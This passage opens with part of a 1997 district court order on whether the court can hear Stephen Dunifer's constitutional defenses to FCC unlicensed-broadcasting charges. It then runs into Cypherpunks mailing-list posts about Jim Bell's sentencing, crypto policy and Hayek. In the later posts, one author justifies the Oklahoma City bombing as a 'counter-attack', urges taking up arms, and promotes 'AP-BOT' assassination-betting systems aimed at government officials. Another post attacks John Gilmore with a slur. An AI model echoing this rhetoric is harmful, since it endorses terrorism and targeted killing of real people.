were brought by plaintiffs who arguably sought to challenge FCC regulations in a district court. Neither involved a situation like that here, in which a defendant seeks to defend himself against a claim brought against him by the FCC in a district court. [5] Mr. Dunifer argues that while 47 U.S.C. S 402 (a) establishes the general rule that FCC actions are to be reviewed in the court of appeals, 47 U.S.C. 5 401(a) trumps this statute by specifically providing that the district courts have jurisdiction over writ proceedings filed by the FCC. He argues that this section grants jurisdiction to the district court to consider any defenses to such proceedings as well. For support, Mr. Dunifer cites Dougan v. FCC, 21 F.3d 1488 (9th cir. 1994). ---------------------------------------------------------------- Footnote [5] Wilson v. A.H. Belo Corp., 87 F.3d 393 (9th Cir. 1996), a recent Ninth Circuit case cited by the FCC, likewise did not involve a defendant's attempt to defend itself in district court by challenging an FCC action. ------------------------------------------------------------------- In Dougan, the petitioner, an unlicensed operator of a micro radio station, sought review in the Ninth circuit of an FCC notice of forfeiture under 47 U.S.C. � 504 (a) [6]. Id. at 1489. The FCC had issued the notice of forfeiture after it found that Mr. Dougan had violated 47 U.S.C. S 301 by operating a radio station without a license and had violated 47 C.F.R. S l5.29 by refusing to permit an FCC representative to inspect his station. [7] Id. Mr. Dougan disputed that he had violated 47 C.F.R. S 15.29 and challenged "the jurisdiction of the FCC over his intrastate broadcasts and the constitutionality of the licensing regulations." Id. at 1489- 90. Mr. Dougan's complaint apparently challenged the constitutionality of the same FCC regulation, prohibiting the issuance of a license to micro radio broadcasters, that is challenged here by Mr. Dunifer. Id. at 1489. Because a notice of forfeiture is a final order of the FCC, under 47 U.S.C. S 402 (a) and 28 U.S.C. 5 2342 such a proceeding would properly he brought in a court of appeals. At the FCC's urging, however, the court dismissed Mr. Dougan's case in favor of district court jurisdiction. Id. at 1489, 1491. The court of appeals did not retain its jurisdiction over the constitutional defenses that it ------------------------------------------------------------------ Footnotes [6]Section 504 (a) provides in pertinent part: The forfeitures provided for in this chapter shall be payable into the Treasury of the United States, and shall be recoverable, . . ., in a civil suit in the name of the United States brouqht in the district where the person or carrier has its principal operating office.... Provided, that any suit for the recovery of a forfeiture imposed pursuant to the provisions of the chapter shall be a trial de novo. [7] Section 15.29 provides, in relevant part, that any equipment or device subject to FCC regulations must be made available for inspection by a Commission representative upon reasonable request. ----------------------------------------------------------------- specifically noted Mr. Dougan had raised. Id. Following the decision of the District of Columbia Circuit in Pleasant Broadcasting Co. v. FCC, 564 F.2d 496 (D.C. Cir. 1977), the Ninth Circuit reasoned that "Congress did not intend to give petitioners two bites at the apple by allowing them to challenge the forfeiture in the appellate court, and if they lost, to sit back and await an enforcement action, at which time they would be entitled to a trial de novo in the district court."Dougan, 21 F.3d at 1491. The court concluded that 47 U.S.C. S 504 (a) is a special review statute which vests jurisdiction over forfeiture actions in the district courts. Id. The court held that this special review statute cuts off the simultaneous jurisdiction created in the court of appeals by 47 U.S.C. S 402 (a), the general review provision. Id. The FCC argued, and the court found, that this jurisdictional grant encompasses both actions filed by the government to enforce a forfeiture and those filed by individuals seeking to avoid enforcement. The instant case was brought under 47 U.S.C. S 401 (a) rather than 47 U.S.C. S 504 (a). Unlike The situation in Dougan, in this case Mr. Dunifer has not filed a complaint to avoid enforcement of the FCC's forfeiture order, nor hasthe FCC filed an action to enforce its forfeiture order.[8]Thus, There is no final order of the FCC before this court that is also reviewable by the appellate ---------------------------------------------------------------- Footnote: [8] In 1995, the FCC assessed a forfeiture against Mr. Dunifer in the amount of $10,000. See In the Matter of Stephen Paul Dunifer, FCC 95-333, August 2, 1995. Mr. Dunifer requests, in a footnote in his opposition, that the Court stay these proceeding for two weeks to permit him to file a complaint for declaratory relief seeking review of the FCC's forfeiture order. The Court will not stay these proceedings. Mr. Dunifer may file the complaint to which he refers at any time, if he wishes to do so. ------------------------------------------------------------------ court under 47 U.S.C. S 402 (a). This means that only the district court has jurisdiction over this action; this is not a situation where two courts have simultaneous jurisdiction. Therefore, the Ninth Circuit's concern in Dougan about Mr. Dougan having two bites of the apple is not applicable. However, like 47 U.S.C. S 504(a), 47 U.S.C. S 401(a) provides that the FCC may initiate a specific type of enforcement action in the district court. The Ninth Circuit in Dougan determined that 47 U.S.C.S 504 (a) required Mr. Dougan to bring his lawsuit, including his constitutional challenges to the FCC regulation, in the district court. By analogy, it would appear that 47 U.S.C. S 401 (a) provides the district court with jurisdiction to hear not only the FCC's charge of broadcasting without a license, but also any valid defense to the charge. If the unconstitutionality of the FCC regulatory scheme that does not permit Mr. Dunifer to obtain a license would be a valid defense to a charge of broadcasting without a license, then that defense would be encompassed within the grant of jurisdictionto the district court provided in 47 U.S.C. S 401(a). The FCC has submitted a recent case decided in the District of Minnesota which, under facts similar to those in the case at bar, held that district courts do not have jurisdiction over constitutional challenges to FCC regulations raised as defenses in an FCC action to enforce a forfeiture order. United States v. Any and All Radio Station Transmission Equipment, et al., _ F. Supp. _, 1997 WL 591127 (D. Minn.) ("Transmission Equipment"). In Transmission Eqipment, the FCC filed suit in district court to enforce a forfeiture order against a micro radio station on the ground that it was broadcasting without a license. Id. at *1. The defendant admitted to broadcasting without a license but raised affirmative defenses challenging the constitutionality of the FCC regulatory scheme that did not allow the licensing of micro radio stations. Id. at *2. The court distinguished Pleasant Broadcasting on the grounds that the petitioners there disputed that they had violated a statute or regulation; the relevant language required "repeated" violations and both petitioners admitted to one, but not to repeated violations. Id. at *3. The court concluded that Pleasant Broadcasting did not apply to the facts before it because the defendant in Transmission Equipment did not dispute that he violated the statute prohibiting broadcasting without a license, but instead raised constitutional challenges to the FCC's regulatory scheme as affirmative defenses. Id. The court could not distinguish Dougan on the same ground because Mr. Dougan admitted that he had broadcast without a license, as did the defendant in Transmission Equipment. Id.at *4. Instead, the court interpreted Dougan as involving only a dispute over whether Mr. Dougan had violated 47 C.F.R. S 15.29 by refusing to permit FCC engineers to inspect his radio station. Id. The court distinguished Dougan on the ground that Mr. Dougan challenged the FCC's forfeiture order and did not challenge the FCC's prohibition against low power broadcasting. Id. However, as discussed above, in Dougan, the Ninth Circuit specifically noted that Mr. Dougan had raised constitutional defenses to the FCC's licensing regulations in addition to a defense based on 47 C.F.R. S 15.29. Dougan, 21 F.3d at 1489. Moreover, in ruling that the district court had exclusive jurisdiction to hear Mr. Dougan's action to avoid enforcement, the Ninth Circuit neither explicitly stated nor implied that the district court could only hear Mr. Dougan's defense based on 47 C.F.R.� 15~29, and not his constitutional defenses. The court did not retain jurisdiction over Mr. Dougan's constitutional challenge to the regulation. A case cited by neitner party, United States v. Evergreen Media Corp of Chicago, involved an action brought by the government in district court to enforce a forfeiture order issued by the FCC. 832 F. Supp. 1183 (N.D. Ill. 1933). The forfeiture order was issued as a result of the FCC's determination that Evergreen Media, a radio station, had violated 18 U.S.C. � 1464, a criminal statute imposing a fine or imprisonment as punishment for uttering obscene, indecent, or profane language by means of radio communication. Id. at 1184. The defendant filed a counterclaim challenging the constitutionality of IS U.S.C. � 1464. Id. The counterclaim alleged that 18 U.S.C. � 1464 was facially unconstitutional both for vagueness and for overbreadth, and that 18 U.S.C. � 1464 was unconstitutional as applied, on the ground that the FCC's interpretation of the statute was not the least restrictive means of accomplishing the goals of the statute.Id. The defendant also alleged that the FCC's enforcement of the statute constituted a violation of substantive due process and of the Equal Protection Clause. Id. The FCC argued that the court lacked jurisdiction to hear any claims raised by the defendant which attacked the FCC's policies, practices or regulations. Id. at 1186. The court found that it had jurisdiction to hear the defendant's constitutional challenges to the FCC'S regulations interpreting 18 U.S.C. S 1464. Id. at 1184-86. Citing Pleasant Broadcasting, the court found that 47 U.S.C!. � 504(a), which gives district courts jurisdiction to hear forfeiture actions, provides an exception to the general rule that challenges to regulations must be heard in a court of appeal. Id. Evergreen Media provides additional support for the conclusion that this Court has jurisdiction to hear Mr. Dunifer's constitutional claims. Although the FCC and Mr. Dunifer address the issue of whether this Court has jurisdiction to hear Mr. Dunifer'sconstitutional challenges to tho FCC'S regulations, neither party has adequately briefed whether the alleged unconstitutionality of the licensing regulations is a valid defense to a request for an injunction against broadcasting without a license. That is, assuming arguendothat the regulations were unconstitutional, would this justify Mr. Dunifer's action of broadcasting without having, or even attempting to obtain, a license and prevent the FCCfrom obtaining an injuction? Dougan does not address this question. Mr. Dunifer asumes that the alleged unconstitutionality of the regulations would be a valid defense. While it criticizes Mr. Dunifer for failing to seak a license, the FCC largely confines its argument to its view that the Court is without jurisdiction to hear the unconstitutionality defense at all. If the unconstitutionality of the regulations would be a defense under these circumstances, this Court would be reguired to determine whether the regulations are in fact unconstitutional. Otherwise, the Court need not consider the constitutional issue. In support of hts argument, Mr. Dunifer analogizes his situation to that of a criminal defendant seeking to defend himself on the ground that the regulation under which he was being prosecuted was unconstitutional. The FCC responds that in United states v.Alloy, 755 F. Supp. 771, 775 (N.D. Ill. 1990), the court precluded the defendant from raising constitutional challenges to a regulation he was accused of violating. In Alley, however, the defendant did not argue that the regulation was unconstitutional. Rather the defendant argued that the regulation was unlawful because the administrative agency, in promulgating the regulation, had acted outside the scope of authority granted to it by Congress. Id.The court, moreover, noted that the statutory scheme specifically forbade judicial review in any civil or criminal proceeding for enforcement of the regulation under which the defendant was charged. Id. The FCC has not pointed to any provision of the Communications Act which specifically prohibits judicial review cf a licensing regulation in an enforcement proceeding. Furthermore, even if Alley were applicable here, a single district court case from another circuit is slim authority on which to base this decision. Therefore, the Court requests that the parties provide further briefing on the issue of whether the unconstitutionality of the FCC regulatory scheme would be a valid defense in an action brought by the FCC to enjoin broadcasting without a license. The FCC shall file with the Court and serve on Mr. Dunifer its brief on this issue 14 days from the date of this order. Mr. Dunifer's opposition is due 7 days thereafter. If the FCC wishes to file a reply, it may due so 7 days after the opposition is served. CONCLUSION For the foregoing reasons, the FCC's motion for summary judgment is DENIED WITHOUT PREJUDICE. The parties are ordered to comply with the briefing schedule indicated above. IT IS SO ORDERED. Dated November 12, 1997 Claudia Wilken UNITED STATES DISTRICT JUDGE From dlv at bwalk.dm.com Sun Dec 14 07:32:05 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 14 Dec 1997 23:32:05 +0800 Subject: Nobody will debate John Gilmore on crypto? In-Reply-To: Message-ID: Declan McCullagh writes: > [John Gilmore stopped by for this afternoon's crypto gathering to update us > on the Bernstein lawsuit. Seems odd to me that he can't find someone to > defend the administration's stance on encryption, especially since NSA's > headquarters is close to the University of Maryland. --Declan] ... > Subject: Gilmore speech in Baltimore on encryption policy, Tues night > Date: Sat, 13 Dec 1997 21:35:12 -0800 > From: John Gilmore > To: cme at cybercash.com, declan at well.com > > From: "Dr. Alan Sherman" > > The UMBC Security Technology Research Group presents > > Two Divergent Views on Encryption Policy: > > I. Wisdom and Constitutionality in U.S. Cryptography Policy > John Gilmore, Co-Founder, Electronic Frontier Foundation > > II. A Government Perspective on Encryption Policy > [Will anyone from the U.S. Government agree to speak??*] I was going to suggest that you contact Dr. Dorothy Denning (or bring in Dr. Fred Cohen). However it's clear that no decent person wants to sit next to the disgusting cocksucker Jon Gilmore, whose fascist censorsh you, forger Declan, have been defending. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From jya at pipeline.com Sun Dec 14 07:47:37 1997 From: jya at pipeline.com (John Young) Date: Sun, 14 Dec 1997 23:47:37 +0800 Subject: Fw: Jim Bell Sentenced (fwd) Message-ID: <1.5.4.32.19971214154519.00b627ac@pop.pipeline.com> To add to Greg Broiles' excellent recap of the case. What might be amplified is the way Jim's case was gnoshed in the media and here, with more attention to AP than to the basic facts, as exemplified in the news report on sentencing, as Phill did, as did the IRS spam of Jim's arrest. Fair enough, for that was clearly the purpose of AP, as with all publishing and speaking in a manner to get attention, whether by IRS-fed scare stories churned out by its PR department, by we advocates of earnest causes, and by the eager-to-oblige news, law and pol biz -- FC not excepted. Jim's case was happily churned by all parties, us foremost among them, and Jim (with aid and abet by others) is to be congratulated for success with AP: Agent Provocative, Apt Promo, Avid Preening for and against. May he quickly capitalize on his notoriety and beat the pack of envious competitors waving less risky, lawful docs which attract zip. Now, is it not true that we've self-censored ourselves into believing Jim is just a fool, rather than a gutsy guy willing to do what most of us will not, instead preferring covert self-censorship over the all-too-easily opposed group-think kind. If so, the IRS (with aid and abet by news, law and pol) has proven a gov-authorized version of AP and warning spam quite nicely intimidates us into censoring ourselves into well-behaved submission while believing its a shrewd move to protect careers from wiser fools like Jim Bell. Free Jim Bell, and pay lost salary and punitive damages! From ravage at ssz.com Sun Dec 14 07:57:08 1997 From: ravage at ssz.com (Jim Choate) Date: Sun, 14 Dec 1997 23:57:08 +0800 Subject: Fw: Jim Bell Sentenced (fwd) Message-ID: <199712141612.KAA02045@einstein.ssz.com> Forwarded message: > Date: Sun, 14 Dec 1997 10:45:19 -0500 > From: John Young > Subject: Re: Fw: Jim Bell Sentenced (fwd) > Now, is it not true that we've self-censored ourselves into believing > Jim is just a fool, rather than a gutsy guy willing to do what most > of us will not, instead preferring covert self-censorship over the > all-too-easily opposed group-think kind. Spin-doctor alert. Jim Bell plea bargained period. Had he had one iota of the 'guts' you so blithely banter about the case would be going to trial. Plea-bargaining = capitulation = self-censorship ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From hg-p at dev.null Sun Dec 14 08:07:38 1997 From: hg-p at dev.null (Human Gus-Peter) Date: Mon, 15 Dec 1997 00:07:38 +0800 Subject: Jim Bell Revisited Message-ID: <199712141555.HAA15012@toad.com> >Gag Broiled wrote: >>Phillip M. Hallam-Baker wrote: >>>FC folk may find this interesting. What Jim Bell was charged >>>with and admitted was planning and executing attacks on the >>>IRS. >> >>No, that's not correct. Half-Baked knows that, but with his bowling-mentality, he thinks he has a better chance of throwing a strike if he puts a little spin on his balls, while twisting Jim's. >>He was charged with (and plead guilty to) >>obstructing an IRS agent (26 USC 7212(a)) and misuse of a Social Security >>number (42 USC 408). The "attack" he admitted to executing consisted of >>applying a stinky chemical to the doormat of an IRS office. (see >> for more.) Was that FELONY 'Making a bad smell'? I farted in an IRS office once (on purpose). Am I a Jim Bell co-conspirator? Are my armpits considered a felony or a misdemeanor? The government misuses my Social Security Number to steal my money. Where do I press charges? Can I place airline employees under citizen's arrest when they demand it? >>It's >>interesting to note that the prosecutor and the defense concurred in >>recommending to the judge that Jim receive a sentence at the low end of the >>permissible range, while the probation department (which acts as an >>"attitude police") urged a sentence of 27 months, at or near the upper end >>of the applicable guidelines. >> >>Jim's analysis of AP and its relationship to our legal/political/social >>structure was poor, and his behavior juvenile and indefensible. He did not, >>however, present a credible threat to the IRS, nor should he be punished >>more harshly because of his political views/ideas. Winter winds blow both ways. >>We should not let distaste/disgust for Jim's ideas and tactics blind us to >>the important legal and constitutional questions lurking beneath the >>surface of this investigation and prosecution - there's some possibility >>that the IRS used its investigation of Jim as a threat to other prolific >>authors on the Internet. The government's armed assault on Ma and Pa Bell's residence took place within hours of an email being sent to him containing a rough draft of a chapter of an InterNet published manuscript describing and lauding Bell's AP system. >>For example, copies of the press release announcing the raid on Jim's home >>were mailed, apparently from computer systems inside the IRS, to >>individuals active on the Cypherpunks list. The IRS has never before (or >>since) bothered to notify those individuals about criminal investigations >>which might otherwise be of interest. It is interesting to note that the emails from treasury.gov constituted the same type of 'threat' that Bell was roundly accused of by government officials and the press. >>One easy conclusion to reach is that >>the raid was intended to chill those individuals' expressive activity on >>the Net with respect to Jim and his ideas and the interplay between >>taxation and anonymity and cryptography. The winter wind blows both ways. It is also easy to reach the conclusion that the AP-BOT results sent to the Oregonian and to the officials involved (via their internal email systems) played a hand in the judges 'vacation' before Bell's delayed sentencing. (Or that petty government officials involved in Bell's case were not impressed with the fact that they were becoming the source of valuable digital prizes in the AP-BOT community, without receiving the same protection as those who were behind the criminal malefeasance directed at Bell.) >>Further, it's worth considering carefully the relationship between Jim's >>legitimate and constitutionally protected political speech and the criminal >>trial process. To what extent did Jim's outspokenness about the IRS >>influence its interest in investigating and prosecuting him? To what extent >>was his protected speech used to argue that he was ineligible for release >>on bail pretrial? To what extent did his extended pretrial incarceration >>pressure him to plead guilty? Bell's persecution was straight out of the spook's political torture- indoctrination handbook. The only difference is that many aspects of the turning of Bell's thumbscrews were made public (just before tax-time, surprise, surprise). >>To what extent >>will his protected speech be used to measure his compliance with the terms >>of his supervised release? That was half of the purpose of his persecution. "We the people" were the other half of the sacrificial lamb targeted for cold-storage. >>But cases like Jim's demonstrate that there's a considerable >>gulf between the high-school-civics-class idea that we are all equal before >>the law and the practical world of the criminal trial system. Jim was >>treated specially at every stage of this process because of what he's >>written, and that should make every person who values free political >>expression uncomfortable. Jim's case demonstrates that we're moving closer >>to a country where one can be prosecuted for thoughtcrime. The corollary to this is that we are moving closer to a country where we will need to take up arms in both meatspace and cyberspace if we wish to defend our basic human rights. (Former NRA members are unlikely to take any more consolation from the government's expressed desire to only want to ban 'strong' crypto, than they were from the government's incremental announcements that they only want to ban criminal/assault/dangerous-looking/kind-of-scary/citizen's guns.) Rage Against The Machine Lock And Load Lock And Loll Human Gus-Peter-San From rah at shipwright.com Sun Dec 14 09:01:20 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 15 Dec 1997 01:01:20 +0800 Subject: HAYEKWEB: V Postrel on Hayek & 'Information' Message-ID: --- begin forwarded text Date: Sun, 14 Dec 1997 03:59:29 EST Reply-To: Hayek Related Research Sender: Hayek Related Research From: GBRansom Organization: AOL (http://www.aol.com) Subject: HAYEKWEB: V Postrel on Hayek & 'Information' To: HAYEK-L at MAELSTROM.STJOHNS.EDU >> Hayek on the Web << "Knowledge at a Cost" by Virginia I. Postrel, editor of _Reason_ magazine, on the Web at: http://www.reasonmag.com/opeds/vpasap0695.html >From "Knowledge at a Cost": ".. The "information is free" school of thought also tends to assume that information magically appears in computer networks. But deciding what to record and how means negotiating among people with different needs and knowledge bases. The marketing department of a steel company, for instance, wants products classified by how they're used, while manufacturing wants them classified by how they're made. A health insurer studied by Elihu Gerson and Susan Leigh Star of the Tremont Research Institute had a five-person unit devoted to resolving conflicts over how to code medical procedures. Doctors, customers, and various internal departments disagreed about what criteria should determine the codes and how narrow the categories should be. Yet everyone had to use the same system. The unit's job was essentially diplomacy: getting the different groups to agree on coding guidelines. "Traditionally, finding solutions to information systems problems has been framed as...arriving at the 'correct answer' via algorithmic procedures," write Gerson and Star. But in this case, there is no single correct answer. "Rather, there are multiple, possibly inconsistent, competing answers, none of which has a unique claim to validity." Nobel laureate F.A. Hayek, one of the earliest economic theorists of the role of knowledge, would have recognized the problem. Organizations overcome such difficulties through compromise and negotiation, or they break down. But society as a whole can avoid the "knowledge problem" only at the cost of stamping out individuality. In his classic 1945 essay, "The Use of Knowledge in Society," Hayek criticized economists who believed central planning would be simple. He wrote that "the knowledge...we must make use never exists in concentrated or integrated form but solely as the dispersed bits of incomplete and frequently contradictory knowledge which all the separate individuals possess." Those "bits" include not merely facts, but complex individual goals and preferences information that, by its very nature, can't be centralized. In our enthusiasm for the power of information technology, we would be foolish to forget its limitations. Information may be cheap, but knowledge still isn't free." A slightly shorter version of Postrel's article originally appeared in the June 5, 1995 issue of _Forbes ASAP_. Hayek on the Web is a regular feature of the Hayek-L list. --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ Ask me about FC98 in Anguilla!: From ravage at ssz.com Sun Dec 14 09:14:38 1997 From: ravage at ssz.com (Jim Choate) Date: Mon, 15 Dec 1997 01:14:38 +0800 Subject: HAYEKWEB: V Postrel on Hayek & 'Information' (fwd) Message-ID: <199712141729.LAA02306@einstein.ssz.com> Forwarded message: > Date: Sun, 14 Dec 1997 11:47:23 -0500 > From: Robert Hettinga > Subject: HAYEKWEB: V Postrel on Hayek & 'Information' > >> Hayek on the Web << > > "Knowledge at a Cost" by Virginia I. Postrel, editor of _Reason_ > magazine, on the Web at: > > http://www.reasonmag.com/opeds/vpasap0695.html > > >From "Knowledge at a Cost": > > ".. The "information is free" school of thought also tends to assume > that information magically appears in computer networks. It's "information wants to be free". A subtle but profound distinction. > Nobel laureate F.A. Hayek, one of the earliest economic theorists > of the role of knowledge, would have recognized the problem. > Organizations overcome such difficulties through compromise > and negotiation, or they break down. But society as a whole > can avoid the "knowledge problem" only at the cost of stamping > out individuality. It's a real pitty Hayek never tried 'cooperation' instead of 'compromise'. Oh, the short-short sightedness of ego and tryanny. What is the line of reasoning that the *only* solution for society is to stamp out individuality? Sounds more like wishful thinking from some brain-dead drone with no imagination or respect for others. Perhaps he should have stuck with economics and kept away from sociology. ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From jya at pipeline.com Sun Dec 14 09:24:31 1997 From: jya at pipeline.com (John Young) Date: Mon, 15 Dec 1997 01:24:31 +0800 Subject: Fw: Jim Bell Sentenced (fwd) Message-ID: <1.5.4.32.19971214172201.00b744ac@pop.pipeline.com> Jim Choate wrote: >Plea-bargaining = capitulation = self-censorship Now, Deft-Spinner Jim, you've switched from what we (you) did or did not do to what Jim did or did not do, which is what I was indelicately pointing out has been how we (you and me) self-censoringly plead our case for or against AP and USG, and thereby capitulate covertly while ineffectively protesting Jim's (and other terrorist targets') zap by USG-AP. And rightly so, what fool would want to take Jim's place, and that's what we're relieved to not be in, now that we've been shown an example. Chilled speech, it's called, finger-pointing about some fool going too far, and worse, getting caught. This time we're so pleased we didn't lose the lottery, as Shirley Jackson wrote, that we eagerly stone the winner, split some hairs, tut-tut, spin our fear and call it wisdom. Too bad that camouflaged cowardice (shrewdness) cahoots with IRS and Justice. Keep quiet about yourself, blame somebody else, luck may hold. That's what I'm doing, blaming wildly, hiding in a crowd of "we's" and now, thanks much, your equation for going along and getting ahead. Not that there's anything wrong with that. From ravage at ssz.com Sun Dec 14 10:23:25 1997 From: ravage at ssz.com (Jim Choate) Date: Mon, 15 Dec 1997 02:23:25 +0800 Subject: Fw: Jim Bell Sentenced (fwd) Message-ID: <199712141834.MAA02564@einstein.ssz.com> Forwarded message: > Date: Sun, 14 Dec 1997 12:22:01 -0500 > From: John Young > Subject: Re: Fw: Jim Bell Sentenced (fwd) > Now, Deft-Spinner Jim, you've switched from what we (you) > did or did not do to what Jim did or did not do, which is what > I was indelicately pointing out has been how we (you and me) > self-censoringly plead our case for or against AP and USG, > and thereby capitulate covertly while ineffectively protesting > Jim's (and other terrorist targets') zap by USG-AP. Bullshit, your Burroughs-esk not withstanding. I believe Jim Bell's AP proposal is sheer insanity with no real merit other than clear and open endorsement of anarchy. I have always said this and will always say it. However, I *do* support his right to *talk* about it all he wants. When he or others begin to *act* upon it then I say do to them exactly what they are wanting to do to others - nail their hide to a wall. Violence has one and *only* one justification - immediate self-defence. His putting stink bombs in a federal building deserves some punishment. It is nothing more than a petty childish prank and should be treated as such. Bottem line with Jim Bell, he is a selfish child who refuses to grow up. Let him reap what he sows. The federal responce to this and other forms of civil disobedience are equealy without merit. My view: neither the feds or Jim Bell have two halves of a clue to rub together. > And rightly so, what fool would want to take Jim's place, and > that's what we're relieved to not be in, now that we've been > shown an example. Chilled speech, it's called, finger-pointing > about some fool going too far, and worse, getting caught. It certainly hasn't changed my beliefs or my plans to act on them one whit. The difference is that I believe the system can be fixed, yes it will take time, yes it will require a certain level of jamming unsavory morsels of the Constitution down some tyrants throats; but it is doable. Personaly, I would not plea bargain, I would not accept a court appointed attorney, I would claim political prisoner status, and further I would immediately appeal my conviction to the Supreme Court. I say this openly and in public in order to give the Feds one of two options: leave me alone and accept my civil disobedience for what it is or let's tango in the courts and let the supreme law of the land draw the lines in the sand. My faith in the strength of this country rests in the Constitution and the ideals it stands for. For a start: 1. I oppose the current tax laws. The Constitutional amendment was *never* legaly ratified and was never intended to make individual citizens pay 40% of their taxes to support the federal govt. 2. Agencies such as NOAA, FBI, BATF, NASA, etc. are not constitutional because there is *no* section of the Constitution that delegates those issues to the feds. Per the 10th they go to the states or the people unless an amendment is enacted. 3. The DoD is currently engaging in contracts that extend over the Constitutionaly mandated 2 year limit for anything other than naval forces. They also allow the use of military personnel and equipment by civil law enforcement - a clear violation of both the letter and spirit of the Constitution. 4. I oppose the extension of the inter-state commerce clause because regulation does not imply the level of law enforcement and the use of force that is currently employeed. I further object to the apparent skipping over of the last sentence of the inter-state commerce clause which clearly invokes the 9th and 10th. 5. The 14th Amendment does *not* extend *any* protection of rights to the states - only privileges and immunities. I further believe that such extension at the state level is a bad thing. 6. The fed's interest in doctor assissted suicides is misplaced. There is *no* mandate for this to be a federal issue. 7. The use of drugs is *not* mandated by the Constitution to be a federal issue. 8. The Constitution does not allow *any* seizing of private property, legaly or illegaly gained, without compensation to the owner of that property. 9. There is a whole raft of political party rules and regulations that limit the participation in government of many smaller organizations. These limits are un-Constitutional. If you or anyone else doesn't like the way it works then get an amendment passed that changes the way the rules operate. In short my main bitch is that the Supreme Court of the US doesn't say "Ain't our problem" nearly enough and when it does speak the question it should be asking is "Does the Constitution allow this power to the federal govt. within the constraints of the 9th and 10th?". Neither Congress or the Supreme Court act in a manner to honor either the letter or the spirit of the Constitution and in particular the 9th and 10th Amendments. I believe that *every* federal law and regulation *must* be able to demonstrate its lineage from one or more sentences in the Constitution before it is applicable and legal by the 10th. Personaly, I want to bring charges against Congress and the Supreme Court of the US for actions contrary to those granted them under the Constitution. In short, I want to impeach the whole kit and kaboodle. I also want to get an amendment passed such that representation in government is related to percentages of votes cast for individual parties and not the over all winning party of the votes counted. > Keep quiet about yourself, blame somebody else, luck may hold. I not only blame myself (as well as all citizens), but I expect to do something about it over the remainder of my life. I learned several lessons from Operation Sun Devil. The most important one was that if you compromise you loose. Phiber Optik and his ilk plea bargained and he went to jail. Mentor, Erik Bloodaxe, & Steve Jackson refused and they walk around free men to this day (it's interesting that these folks are all here in Austin). > That's what I'm doing, blaming wildly, hiding in a crowd of "we's" > and now, thanks much, your equation for going along and getting > ahead. > > Not that there's anything wrong with that. There's not? You sir, don't have one whit of morality, ethics, or empathy. Let alone any sort of sense of justice or liberty. I hope your happy licking the hands of your keepers. ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From hg-p at dev.null Sun Dec 14 10:44:02 1997 From: hg-p at dev.null (Human Gus-Peter) Date: Mon, 15 Dec 1997 02:44:02 +0800 Subject: Tell the fans, not the players Message-ID: <199712141830.KAA15649@toad.com> Jam Choke, ravaging the Young and wringing the Bell, wroted: > From: John Young > Subject: Re: Fw: Jim Bell Sentenced (fwd) > Now, is it not true that we've self-censored ourselves into believing > Jim is just a fool, rather than a gutsy guy willing to do what most > of us will not, instead preferring covert self-censorship over the > all-too-easily opposed group-think kind. Spin-doctor alert. No need to announce yourself, Jim. Your name is in the From: header. Jim Bell plea bargained period. Had he had one iota of the 'guts' you so blithely banter about the case would be going to trial. Plea-bargaining = capitulation = self-censorship Spoken like a free man... I've sat at a lot of border crossings 'psychically willing' my sweat back into the pores of my body. I've been pulled over by the Men in Black on dark roads late at night, within sight of the towers where the Iron Curtain is personified in a chambered round which serves as a local currency price-tag on free speech. I've sat in courtrooms in which justice was an unwanted intruder and mere mention of it caused the dogs of war to growl and bare their teeth. (e.g. 'Bell' County, Texas) I've waited for interminable hours while interrogators were being brought in from distant places to shake me up, down and sideways to find a small vulnerable spot that could be ripped open with the one-sided sword of dark authority. I know the tune Bell's persecutors were playing. It is a dark and scary tune most effective when played to an audience of one. Anyone who thinks that Jim was imprisoned in America is a fool. Jim was in a Gulag, in Auschwitz, in a sweat box in a distant jungle. Bell was the target of an insidious physical, mental and emotional attack threatening the most deep-seated human impetus of all--survival. The methods used against Bell are the same methods used by despotic regimes throughout history and by the mind-benders who serve them. I've been the target of wanna-be local Nazis and I've been the target of the real McCoys. The hands pulling the strings in Jim's case were not amateur. They were the same hands that have massaged the minds of prisoners of war, defectors, political prisoners and compromised spooks. Anyone who believes that Jim received his right to legal counsel is likewise a fool. The difference between Bell's attorney and McVeigh's attorney is that established heavyweights get paid $15 million to sleepwalk their client to a conviction. The lightweights get paid with future political favors. Bell was unconstitutionally imprisoned, drugged, and subjected to sensory deprivation torture as punishment for exercising his right to think and speak freely. Anyone who attempts to justify this with weak claims that Bell was 'asking for it' is also justifying McVeigh's counter-attack on the Waco murderers, who, for those of you who are paying attention, are continuing to 'ask for it.' The Sympatico AP-BOT received bets on the times of demise of even some of the lowliest government paperwork shufflers involved in Jim's case. The Netcom AP-Bot received belated bets on the times of demise of *all* of the government casualties in the OKC offensive. (Definitely a political statement...) Jim's political statement *has* made a difference in the implementation of, and experimentatin with, AP-BOTs. His persecution has made those steps both real and meaningful for the participants. There is currently an AP-BOT accessible from an Eternity Server which is serving as a test of the ability of underground InterNet activity to become widespread and remain covert and untouchable in its operation. (For each unit bet on the choice of the individual, it is *required* to generate an extra unit 